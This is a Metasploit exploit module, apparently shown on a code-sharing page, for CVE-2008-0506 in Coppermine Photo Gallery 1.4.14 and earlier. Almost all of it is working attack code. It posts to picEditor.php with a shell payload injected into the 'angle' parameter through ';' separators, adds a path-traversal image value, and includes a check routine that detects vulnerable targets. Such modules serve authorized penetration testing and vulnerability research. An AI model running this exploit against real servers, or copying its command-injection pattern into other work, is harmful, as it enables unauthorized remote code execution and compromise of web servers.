Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpClient
10

11
  def initialize(info = {})
12
    super(update_info(info,
13
      'Name'           => 'Coppermine Photo Gallery picEditor.php Command Execution',
14
      'Description'    => %q{
15
        This module exploits a vulnerability in the picEditor.php script of
16
        Coppermine Photo Gallery versions 1.4.14 and earlier. When configured to
17
        use the ImageMagick library, the 'quality', 'angle', and 'clipval'
18
        parameters are not properly escaped before being passed to the PHP
19
        'exec' command.
20

21
        In order to reach the vulnerable 'exec' call, the input must pass
22
        several validation steps.
23

24
        The vulnerabilities actually reside in the following functions:
25

26
        image_processor.php: rotate_image(...)
27
        include/imageObjectIM.class.php: imageObject::cropImage(...)
28
        include/imageObjectIM.class.php: imageObject::rotateImage(...)
29
        include/imageObjectIM.class.php: imageObject::resizeImage(...)
30
        include/picmgmt.inc.php: resize_image(...)
31

32
        NOTE: Use of the ImageMagick library is a non-default option. However, a
33
        user can specify its use at installation time.
34
      },
35
      'Author'         =>
36
        [
37
          'Janek Vind', # original discovery/exploit
38
          'jduck'       # metasploit version
39
        ],
40
      'License'        => MSF_LICENSE,
41
      'References'     =>
42
        [
43
          [ 'CVE', '2008-0506' ],
44
          [ 'OSVDB', '41676' ],
45
          [ 'EDB', '5019' ],
46
          [ 'URL', 'http://forum.coppermine-gallery.net/index.php?topic=50103.0' ]
47
        ],
48
      'Privileged'     => true, # web server context
49
      'Payload'        =>
50
        {
51
          'DisableNops' => true,
52
          'BadChars'    => '\'', # input gets passed to htmlentities
53
          'Space'       => 1024,
54
        },
55
      'Platform'       => [ 'unix' ],
56
      'Arch'           => ARCH_CMD,
57
      'Targets'        => [[ 'Automatic', { }]],
58
      'DisclosureDate' => '2008-01-30',
59
      'DefaultTarget'  => 0))
60

61
      register_options(
62
        [
63
          OptString.new('URI', [ true, "Coppermine directory path", "/cpg1414" ]),
64
        ])
65
  end
66

67
  def check
68
    res = send_request_raw({
69
      'uri' => normalize_uri(datastore['URI'], '/picEditor.php')
70
    }, 25)
71

72
    if (res and res.body =~ /Coppermine Picture Editor/i)
73
      return Exploit::CheckCode::Appears
74
    end
75

76
    return Exploit::CheckCode::Safe
77
  end
78

79

80
  def exploit
81

82
    valid_imgs = %w{thumb_audio.jpg thumb_avi.jpg thumb_doc.jpg thumb_document.jpg thumb_gz.jpg
83
      thumb_htm.jpg thumb_html.jpg thumb_mid.jpg thumb_midi.jpg thumb_mov.jpg thumb_movie.jpg
84
      thumb_mp3.jpg thumb_mpeg.jpg thumb_mpg.jpg thumb_nopic.jpg thumb_ogg.jpg thumb_pdf.jpg
85
      thumb_private.jpg thumb_qtv.jpg thumb_ra.jpg thumb_ram.jpg thumb_rar.jpg thumb_rm.jpg
86
      thumb_rmj.jpg thumb_swf.jpg thumb_txt.jpg thumb_wav.jpg thumb_wma.jpg thumb_wmv.jpg
87
      thumb_xls.jpg thumb_zip.jpg}
88
    img = '../../images/' + valid_imgs[rand(valid_imgs.length)]
89
    # suppress errors from convert
90
    angle = rand_text_numeric(1+rand(8)) + ' -quiet 1 2'
91
    # and exec our cmd :)
92
    angle += ';' + payload.encoded + ';#'
93

94
    res = send_request_cgi({
95
      'method'    => 'POST',
96
      'uri'	      => normalize_uri(datastore['URI'], "/picEditor.php"),
97
      'vars_post' =>
98
        {
99
          'angle' => angle,
100
          'quality' => '50',  # not required, but fixes an error message
101
          'newimage' => img
102
        }
103
      }, 25)
104

105
    if (res and res.code == 200)
106
      print_good("Successfully POST'd exploit data")
107
    else
108
      fail_with(Failure::Unknown, "Error POSTing exploit data")
109
    end
110

111
    handler
112
  end
113
end
114

115